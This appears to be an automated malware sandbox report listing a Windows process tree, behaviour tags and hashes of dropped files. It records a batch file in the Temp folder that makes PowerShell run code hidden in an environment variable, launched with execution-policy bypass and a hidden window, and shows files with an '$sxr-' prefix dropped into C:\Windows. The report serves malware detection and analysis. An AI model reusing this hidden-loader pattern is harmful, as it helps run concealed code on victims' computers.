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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2240
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2768
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2920
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2996
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3128
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3244
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3540 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:NdbdSfApgx; "3⤵PID:2640
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4892
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C:\Windows\regedit.exe"C:\Windows\regedit.exe"2⤵
- Runs regedit.exe
- Suspicious behavior: GetForegroundWindowSpam
PID:5316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3668
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3848
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:4008
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Checks SCSI registry key(s)
- Modifies registry class
PID:3692
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4936
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4536
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1188
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4464
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:4212
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4996
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4888
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2908
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2420
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:5020
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3856
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:2336
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:448
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵PID:2168
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:1328
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:1344
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 53KB
- SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
- MD5 a26df49623eff12a70a93f649776dab7
- SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
- SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
- SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qupeaeim.4iq.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\$sxr-cmd.exe
- Size 283KB
- SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
- MD5 8a2122e8162dbef04694b9c3e0b6cdee
- SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
- SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
- SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\$sxr-mshta.exe
- Size 14KB
- SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
- MD5 0b4340ed812dc82ce636c00fa5c9bef2
- SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
- SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
- SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\$sxr-powershell.exe
- Size 442KB
- SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
- MD5 04029e121a0cfa5991749937dd22a1d9
- SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
- SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
- SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP